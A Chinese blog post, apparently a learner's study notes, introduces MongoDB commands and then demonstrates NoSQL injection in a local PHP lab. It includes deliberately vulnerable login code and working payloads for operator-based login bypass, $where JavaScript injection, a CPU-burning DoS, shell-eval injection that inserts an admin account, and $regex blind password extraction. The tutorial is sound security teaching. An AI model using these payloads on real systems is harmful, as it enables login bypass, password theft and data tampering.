沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

NoSQL注入の初见

0x00 前言


学Java有点学累了,先学点别的,来放松一下,正好之前一直没学过NoSQL注入,所以今天就先来学一下吧,又是向“whoami”师傅(WHOAMI’s Blog)的一天捏,本篇包含以下元素:

  • NoSQL、MogonDB的简单介绍
  • MongoDB的简单使用
  • NoSQL注入的简单介绍
  • NoSQL注入的简单实践

0x01 NoSQL


简单介绍

NoSQL的有人解为“Not Only SQL”,即“不仅仅是SQL”,用于区别于我们之前经常使用的MySQL、SQLServer、Oracle、MariaDB等关系型数据库,即非关系型、分布式数据库。由于NoSQL具有较于传统数据库的大数据量、高拓展性、灵活等优势,使用量也日益增长。

0x02 MongoDB


MongoDB

MongoDB是一个用C++实现的文档型数据库,常被用在Web中,除文档型外,还有键值(Redis)、列存储、图形数据库,这里不做讨论。下面列出MongoDB与关系型数据库的术语对比:

SQL术语 MongoDB术语 解释
database database 数据库
table collection 表(SQL)/集合(MongoDB)
row document 行(SQL)/文档(MongoDB)
column field 段SQL)/域(MongoDB)
index index 索引
table joins 表连接,MongoDB不支持
primary key primary key 主键,MongoDB自动将_id字段设置为主键

下面就先来逐一看看MongoDB中数据库、集合、文档等

数据库

类似于mysql的show databases,MongoDB中也有show dbs (apt install mongodb; mongo)

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB

另外,还有db可以显示当前数据库,类似于select database(),与mysql不同的是,它初始就在一个test库里

> db
test

如果我们要切换数据库,同样的是使用use

> use admin
switched to db admin
> db
admin

不同的是,当指定的数据库不存在时,就会自动创建,所以use同时也是创建数据库的关键词

> use chenlvtang
switched to db chenlvtang
> db
chenlvtang
> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB

这里之所以看不到我们新建的数据库,是因为我们还没有往里面加入集合,我们之后再来尝试,下面我们先来看看数据库的删除,删除数据库使用的是db.dropDatabase(), 删除的是当前数据库,所以在删除前,我们要记得先切换数据库

> use chenlvtang
switched to db chenlvtang
> db.dropDatabase()
{ "ok" : 1 }

文档

文档对应于mysql中的一行数据,MongoDB的文档形式如下,采用的是改造于Json的Bson(懒狗Json也不熟,看不出什么大区别,大概就是字段没有引号吧🤣, 但是好像加了也没啥影响):

{
    name: "chenlvtang",
    description: "Noob",
    groups: ["user", "admin"]
}

集合

集合类似于表,但是不同的是,他没有什么特定的结构,也就是说一个集合之中可以存储任意结构的文档:

{name: "chenlvtang",description: "Noob", groups: ["user", "admin"]}
{name: "chenlvtang",description: "Noob"}
{foo: "chenlvtang"}

要创建一个集合,我们可以使用db.createCollection(name, [options]),options为可选参数,同样的,这也是在当前数据库,所以要记得切换数据库:

> db
chenlvtang
> db.createCollection("test")
{ "ok" : 1 }

要查看数据库中所有的集合,我们可以使用show tables 或 show collections:

> show tables
test
> show collections
test

向一个集合中插入文档,我们可以使用db.COLLECTION_NAME.insert()来插入一个(其实还有save,之后讲):

> db.test.insert({name: 'chenlvtang', age: 20})
WriteResult({ "nInserted" : 1 })
#要插入多条要insert([{name: 'chenlvtang', age: 20},{name: 'cyk', age: 19} ])

类似于数据库的use,当所指定的集合名不存在时,就会自动创建 (好像在mongodb里都是这样,之后不再复述):

> db.test2.insert({foo:'bar'})
WriteResult({ "nInserted" : 1 })
> show collections
test
test2

删除一个集合,使用db.collection_name.drop():

> db.test2.drop()
true
> show tables
test

增删改查

增使用insert在之前已经讲了,就不再赘述。

1.要查询一个集合中的文档,我们可以使用db.collection_name.find(query,[projection]),第一个参数为查询语句,第二个参数为使用投影操作符返回键(不知道是个啥操作符)。这里查询条件我们先不设,可以直接先用find()返回所有文档,然后使用pretty()美化一下输出格式:

> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : 20 }
> db.test.find().pretty()
{
	"_id" : ObjectId("61556613520eefe4e0ad3c73"),
	"name" : "chenlvtang",
	"age" : 20
}

这里的“_id”为主键,简单的查询条件: {‘name’: ‘chenlvtang’},即为 name = ‘chenlvtang’

2.要更新文档,我们可以选用update或者save。

其中update的格式为:

db.collection.update(
   <query>,
   <update>,
   {
     upsert: <boolean>,
     multi: <boolean>,
     writeConcern: <document>#writeConcern :可选,抛出异常的级别。
   }
)

其中multi为可选参数,默认为false,设置为true之后,会更新所有符合query的文档。实例如下:

> db.test.update( {'name':'chenlvtang'},{$set:{'age':'unkown'}} ) //注意$set操作符
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : "unkown" }

save的格式如下:

db.collection.save(
   <document>,
   {
     writeConcern: <document>#writeConcern :可选,抛出异常的级别。
   }
)

当文档中指定了主键”_id”时,则为更新:

> db.test.save(
... { "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", age: 16} 
... )
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })//充分说明了带不带引号没啥关系,至少到目前为止
> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : 16 }

如果不指定主键,则为插入:

> db.test.save( { "name" : "chenlvtang", age: 160})
WriteResult({ "nInserted" : 1 })
> db.test.find()
{ "_id" : ObjectId("61556613520eefe4e0ad3c73"), "name" : "chenlvtang", "age" : 16 }
{ "_id" : ObjectId("61585c0926f8bbfae710ac07"), "name" : "chenlvtang", "age" : 160 }

3.删除文档,使用remove函数,其格式如下:

db.collection.remove(
   <query>,
   {
     justOne: <boolean>, #设置为true或者1的时候,就只删除一条符合条件的文档,默认false
     writeConcern: <document>
   }
)

实例如下:

> db.test.remove({name: 'chenlvtang'})
WriteResult({ "nRemoved" : 2 })
> db.test.find({name: 'chenlvtang'}) //已经全删了
> db.test.find()
{ "_id" : ObjectId("6158597226f8bbfae710ac04"), "foo" : "bar" }

查询条件

说明 格式 实例 与关系型比较
等于 {<key>:<value>} db.col.find({"by":"菜鸟教程"}).pretty() where by = '菜鸟教程'
小于 {<key>:{$lt:<value>}} db.col.find({"likes":{$lt:50}}).pretty() where likes < 50
小于或等于 {<key>:{$lte:<value>}} db.col.find({"likes":{$lte:50}}).pretty() where likes <= 50
大于 {<key>:{$gt:<value>}} db.col.find({"likes":{$gt:50}}).pretty() where likes > 50
大于或等于 {<key>:{$gte:<value>}} db.col.find({"likes":{$gte:50}}).pretty() where likes >= 50
不等于 {<key>:{$ne:<value>}} db.col.find({"likes":{$ne:50}}).pretty() where likes != 50

有点小麻烦,但是mongodb中的AND还是挺方便的:

> db.test.insert([{name:'chenlvtang', age: 18}, {name: 'chenlvtang', age: 19}])
> db.test.find({name: 'chenlvtang', age: 18})
{ "_id" : ObjectId("6158630109288d61f9940197"), "name" : "chenlvtang", "age" : 18 }

OR就有点麻烦了,其格式如下:

>db.col.find(
   {
      $or: [
         {key1: value1}, {key2:value2}
      ]
   }
).pretty()

实例如下:

> db.test.find({$or:[{age: 18}, {age: 19}]})
{ "_id" : ObjectId("6158630109288d61f9940197"), "name" : "chenlvtang", "age" : 18 }
{ "_id" : ObjectId("6158630109288d61f9940198"), "name" : "chenlvtang", "age" : 19 }

下面来一个将OR和AND一起使用的例子:

> db.test.insert({name: 'cyk', age: 18})
WriteResult({ "nInserted" : 1 })
> db.test.find({name: 'chenlvtang', $or:[{age: 18}, {age: 19}]})
{ "_id" : ObjectId("6158630109288d61f9940197"), "name" : "chenlvtang", "age" : 18 }
{ "_id" : ObjectId("6158630109288d61f9940198"), "name" : "chenlvtang", "age" : 19 }

相当于 where name = ‘chenlvtang’ and (age=18 or age=19)

0x03 NoSQL注入


分类

按语言分类:PHP数组注入、JavaScript注入、MongoDB shell拼接注入等

按攻击机制分类:重言式注入,联合查询注入,JavaScript 注入、盲注等

环境搭建

PHP中需要下载以下MongoDB的驱动,然后还要配置一番,这里记录一下:

apt-get install php-dev #ubuntu里的php没有phpize, 一个重新编译PHP的东西
apt-get install php-pear #ubuntu里的php没有pecl, 一个安装拓展的东西
pecl install mongodb
#输出
#Installing shared extensions: /tmp/pear/temp/pear-build-rootieFYE2/install-mongodb-1.10.0 /usr/lib/php/20190902/
#Installing '/usr/lib/php/20190902/mongodb.so'
#configuration option "php_ini" is not set to php.ini location
#You should add "extension=mongodb.so" to php.ini

所以我们下一步就是要配置php.ini:

#php --ini #找到ini的位置 ❌ 大坑,这里输出的cli模式下的php.ini位置,我们需要配置的是apache2目录下的。
#写一个网页phpinfo(),找到php位置 ✅ ,这里是 /etc/php/7.4/apache2/php.ini
#vim xxx/xxx/php.ini,添加如下
#这里如果你不想设置extension_dir,可以先php -i | grep extension_dir找到php拓展位置,然后把mongodb.so移过去
extension_dir=/usr/lib/php/20190902/ #路径看上面安装的输出
extension=mongodb.so
#最后记得重启apache
service apache2 restart

写一个phpinfo,检查一下:

image-20211003142823210

PHP7和PHP5对MongoDB的操作不同,这里我们以PHP7为例进行测试(感觉7更麻烦,跟Java的各种流似的,这操作):

<?php
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");  
// 插入数据
$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['name'=>'chenlvtang', 'age' => 18]);
$bulk->insert(['name'=>'chenlvtang', 'age'=> 19]);
//执行,插入到test数据库的whoami集合
$manager->executeBulkWrite('test.whoami', $bulk);
?>

检查一下:

> db
test
> show dbs
admin       0.000GB
chenlvtang  0.000GB
config      0.000GB
local       0.000GB
test        0.000GB
> use test
switched to db test
> show collections
test
whoami
> db.whoami.find()
{ "_id" : ObjectId("61594f1e5b45415c645673d2"), "name" : "chenlvtang", "age" : 18 }
{ "_id" : ObjectId("61594f1e5b45415c645673d3"), "name" : "chenlvtang", "age" : 19 }

重言式注入

顾名思义,就是让查询条件永为真。这里以PHP来写一个简单登录(懒狗懒得写了,直接用的whoami大佬的😋):

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query([
    'username' => $username,
    'password' => $password
]);#php的短数组风格

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
        echo 'username:' . $user['username'] . '<br>';
        echo 'password:' . $user['password'] . '<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

然后我们给数据库增加几条数据:

db.users.insert([{'username': 'chenlvtang','password': '2001'},{'username': 'chen','password':'123'},{'username': 'cyk', 'password': '20'}])
//这里注意密码一定要为字符串,如果直接为2001,后面php的参数就要转换为数字了,因为php以字符串来接收URL参数

这里查询条件直接来自username和password参数且没有过滤,正常输入是没问题的,可以看到PHP是以数组构造的条件,此时的查询条件为: {‘username’: ‘chenlvtang’, ‘password’: ‘2001’}:

image-20211003203033504

但是,上文中我们有提到过{"likes":{$ne:50}}这样的查询条件,当我们传入username[$ne]=1时,由于PHP数组的嵌套,查询条件就变成了{‘username’: {$ne:1}} 即username != 1 ,如果再设置password[$ne]=1,岂不是就变成了username != ‘1’ and password !=’1’,这样就变成了一个永真式了,实现了查询所有结果:

image-20211003205209097

联合注入

类似于SQL注入,代码对查询语句进行了字符串拼接,然后直接查询:

$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";

可以这样构造:

?username=test'});return {username:db.version(),password:1};})//

MongoDB支持JavaScript,所以有了上面的操作,可以看到payload里利用了注释符,思路和SQL注入一样

不过现在的PHP等语言的驱动,好像不能直接拼接,必须要像之前的那样数组的方式来查询了,所以这个可能用处不大,但是既然支持JavaScript,那么也就表明,我们可以借助JavaScript来进行一些攻击

JavaScript注入

$where 关键词,可以将 JavaScript 表达式的字符串或 JavaScript 函数作为查询语句的一部分

一个实例如下:

> db.users.find({ $where: "function(){return(this.username == 'chenlvtang')}"})
{ "_id" : ObjectId("6159969fedc822c79cc4060a"), "username" : "chenlvtang", "password" : "2001" }

在PHP中的使用如下:

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "
function() { 
	var username = '".$username."';
	var password = '".$password."';
	if(username == 'admin' && password == '123456'){
		return true;
	}else{
		return false;
	}
}";
$query = new MongoDB\Driver\Query(array(
    '$where' => $function
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count>0) {
    foreach ($result as $user) {
        $user=(array)$user;
        echo '====Login Success====<br>';
        echo 'username: '.$user['username']."<br>";
        echo 'password: '.$user['password']."<br>";
    }
}
else{
    echo 'Login Failed';
}
?>

如果我们传入payload: ?username=test&password=a';return true;var c=',js就会变为:

function() { 
	var username = 'test';
	var password = 'a; return true; var c='';
	if(username == 'admin' && password == '123456'){
		return true;
	}else{
		return false;
	}
}

这样就会提前返回true,有点像原型链污染到RCE的操作。在MongoDB2.4前,我们还可以通过db来获取各种东西:

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1

username=1&password=1';(function(){return(tojson(db.version()))})();var a='1

但是2.4之后,就获取不到db了。另外还可以用js来Dos:
username=1&password=1';(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();var a='1

MongoDB Shell注入

MongoDB driver一般都提供直接在MongoDB Shell中执行查询的方法,PHP中就有如下的例子:

<?php
$m = new MongoDB\Driver\Manager;

// Don't do this!!!
$username = $_GET['field'];
// $username is set to "'); db.users.drop(); print('"

$cmd = new \MongoDB\Driver\Command( [
'eval' => "print('Hello, $username!');"
] );

$r = $m->executeCommand( 'dramio', $cmd );
?>

但是他警告了我们不要使用….但是如果有人使用了并且没有过滤,我们就有机会进行注入:

<?php
$manager = new MongoDB\Driver\Manager('mongodb://mongo:27017');
$username = $_GET['username'];
$cmd = new MongoDB\Driver\Command([
	'eval'=> "db.users.distinct('username',{'username':'$username'})"
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
if(count($cursor)>0){
	echo 'Succeed!';
}
else{
	echo 'Failed!';
}
?>

disctinct返回第一个参数的不同值,第二个参数为查询条件, 如:

> db.users.distinct('username')
[ "chenlvtang", "chen", "cyk" ]

这里我们同样可以构造payload: 1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1进行插入操作,因为是直接操作的mongodb shell,所以在shell里能做的增删改查,我们都可以做。

布尔盲注

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = ((array)$user);
        echo '====Login Success====<br>';
    }
}
else{
    echo 'Login Failed';
}
?>

这里我们虽然可以用重言式注入来实现绕过登录验证,但是这里并不会把密码输出,如果我们想获得密码,我们可以使用布尔盲注。首先是判断长度($regex表示正则):

username=chenlvtang&password[$regex]=.{3} //能够匹配除\n外其他任意字符 3次 , 所以为true 登录成功 
username=chenlvtang&password[$regex]=.{4} //能够匹配4次,登录成功
username=chenlvtang&password[$regex]=.{5}  //匹配不到5次,登录失败

以上,我们便判断出了密码长度为4,然后我们可以接着布尔注入出密码了:

username=chenlvtang&password[$regex]=2.{3}
username=chenlvtang&password[$regex]=20.{2}
//...

username=chenlvtang&password[$regex]=^2
username=chenlvtang&password[$regex]=^20
//..

其他语言(如NodeJS、Java)的SQL注入,原理也差不多,这里就不讲了,要复现可以看参考链接

0x04 参考


Nosql 注入从零到一 | WHOAMI’s Blog (whoamianony.top)

冷门知识 — NoSQL注入知多少 - 安全客,安全资讯平台 (anquanke.com)

NoSQL注入之MongoDB [ Mi1k7ea ]

JAVA

shirishp/NoSQLInjectionDemo: NoSQL Injection Demo Application (github.com)

NodeJS

ricardojoserf/NoSQL-injection-example: MongoDB injection example (github.com)

s